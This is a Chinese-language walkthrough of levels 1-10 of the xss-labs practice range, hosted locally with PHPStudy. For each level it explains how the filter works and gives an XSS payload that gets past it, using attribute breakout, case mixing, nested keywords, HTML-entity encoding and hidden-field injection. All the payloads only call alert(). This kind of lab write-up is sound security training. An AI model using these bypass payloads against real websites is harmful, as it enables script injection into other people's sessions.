• 通过(xss-labs-master)[]+PHPStudy搭建的XSS靶场1-10关的攻击教程
  • 需要下载好XSS靶场源码,导入到phpstudy的WWW目录下
  • 攻击主机需要安装BurpSuit、FoxyProxy浏览器插件(便于开启代理,通过BurpSuit抓包)
    • FoxyProxy插件配置如下图

在这里插入图片描述

  • 开始闯关!
    在这里插入图片描述

第一关

在这里插入图片描述

  • 第一关可以看到,并没有输入框,那就通过代理抓包,判断请求的类型(GET/POST)
    • 打开BurpSuit,然后启用代理
      在这里插入图片描述
  • 刷新页面,查看BurpSuit中的请求包类型以及内容
    • 可以看到请求类型是GET请求的,那么请求的字段就会携带在URL中

在这里插入图片描述

  • 查看URL包含name=test,在页面的显示中,也包含了test,则可以直接通过URL进行攻击
    在这里插入图片描述
  • 修改test为攻击代码<script>alert()</script>
    在这里插入图片描述

PayLoad:<script>alert()</script>

第二关

在这里插入图片描述

  • 第二关可以看到,有一个输入框,可以进行搜索,并且页面上会有显示
    • 尝试直接尝试<script>alert()</script>
      在这里插入图片描述
  • 发现行不通,通过F12,查看网页源码
    在这里插入图片描述
  • 可以看到输入的内容赋值给value了,那就修改攻击代码,与前面的内容进行配对,后面的内容需要进行注释
    • 尝试攻击代码"><script>alert()</script>//
      在这里插入图片描述

PayLoad:"><script>alert()</script>//

第三关

在这里插入图片描述

  • 第三关与第二关相同,都有输入框,尝试使用第二关的代码进行攻击

在这里插入图片描述

  • 发现虽然代码配对成功,但是并没有弹出,尝试换一种方式进行攻击
    • 尝试攻击代码' onclick=javascript:alert() '
      在这里插入图片描述
  • F12查看源码,发现代码被正常执行。搜索完成后,需要在输入框再点击一下,才能完成弹出
  • 在靶机上查看网站后台源码,发现是对关键字进行了过滤,所以使用单引号与前面的符号做配对
    在这里插入图片描述

PayLoad:' onclick=javascript:alert() '

第四关

在这里插入图片描述

  • 第四关页面和第三关很像,尝试使用第三关的攻击代码
    在这里插入图片描述
  • 发现攻击代码并没有被正常执行,出现了一个单引号,换双引号再次尝试
    在这里插入图片描述
  • 发现代码被正常的执行,需要在搜索框再点击一下

PayLoad:" onclick=javascript:alert() "

第五关

在这里插入图片描述

  • 可以看到是有输入框的,使用第二关的代码尝试攻击

在这里插入图片描述

  • 发现关键词<script>被过滤替换为了<scr_ipt>,并且存在溢出,尝试使用a标签插入连接执行攻击代码
    • 尝试攻击代码"></input><a href=javascript:alert()>111</a>//
      在这里插入图片描述

PayLoad:"></input><a href=javascript:alert()>111</a>//

第六关

在这里插入图片描述

  • 发现有输入框,尝试使用第五关的攻击代码
    在这里插入图片描述

  • 通过F12发现关键字href被过滤替换了,导致链接失效,无法正常执行攻击代码,尝试使用第二关的代码,查看script是否被过滤

在这里插入图片描述

  • 发现script关键字也被过滤了,将关键字替换为大小写再次尝试
    • 尝试攻击代码"><ScRipt>alert()</ScRipt>//
      在这里插入图片描述
  • 查看网站后台代码
    • 发现是针对小写的关键字做了过滤
      在这里插入图片描述

PayLoad:"><ScRipt>alert()</ScRipt>//

第七关

在这里插入图片描述

  • 尝试第六关的攻击代码
    在这里插入图片描述
  • 发现攻击失败,关键字Scrpit被过滤了,尝试进行标签嵌套
    • 攻击代码"><ScscriptRipt>alert()</ScscriptRipt>//
      在这里插入图片描述
  • 查看后台代码,可以看到对关键字进行了过滤
    在这里插入图片描述

PayLoad:"><ScscriptRipt>alert()</ScscriptRipt>//

第八关

在这里插入图片描述

  • 在输入框中输入内容,添加友情链接后,通过F12查看页面源码
    在这里插入图片描述
  • 可以看到输入的内容被写入到了链接标签中,可以直接尝试弹出窗口
    • 尝试攻击代码javascript:alert()
      在这里插入图片描述
  • 发现关键字被过滤了,尝试对关键字重新编码为HTML可以识别的编码
    • 使用BurpSuit对攻击代码进行重编码
      在这里插入图片描述
  • 输入重新编码后的代码
    在这里插入图片描述
  • 可以看到重新编码的代买被翻译成了正确的弹出窗口脚本,点击链接完成攻击

PayLoad:源码javascript:alert(),重新编译后的代码&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;

第九关

在这里插入图片描述

  • 发现与第八关页面相似,直接尝试使用第八关的攻击代码
    在这里插入图片描述

  • 发现链接标签中,并不是输入重编码后的代码,而是被替换为不可识别的URL

    • 判断可能是对URL的格式做了一些限制,尝试增加http://
      在这里插入图片描述
  • 点击链接,成功

在这里插入图片描述

PayLoad:重新编译后的代码&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;//http://

第十关

在这里插入图片描述

  • 发现没有输入框,通过F12查看网页源码

在这里插入图片描述

  • 发现有三个隐藏的标签,没有输入的地方,就在URL中,尝试将隐藏标签显示出来
    • 攻击代码&t_sort=111" onclick=javascript:alert() type="text"
      在这里插入图片描述
  • 点击一下输入框,成功

PayLoad:&t_sort=111" onclick=javascript:alert() type="text"


以上内容均属原创,如有不详或错误,敬请指出。
Logo

加入「COC·上海城市开发者社区」,成就更好的自己!

更多推荐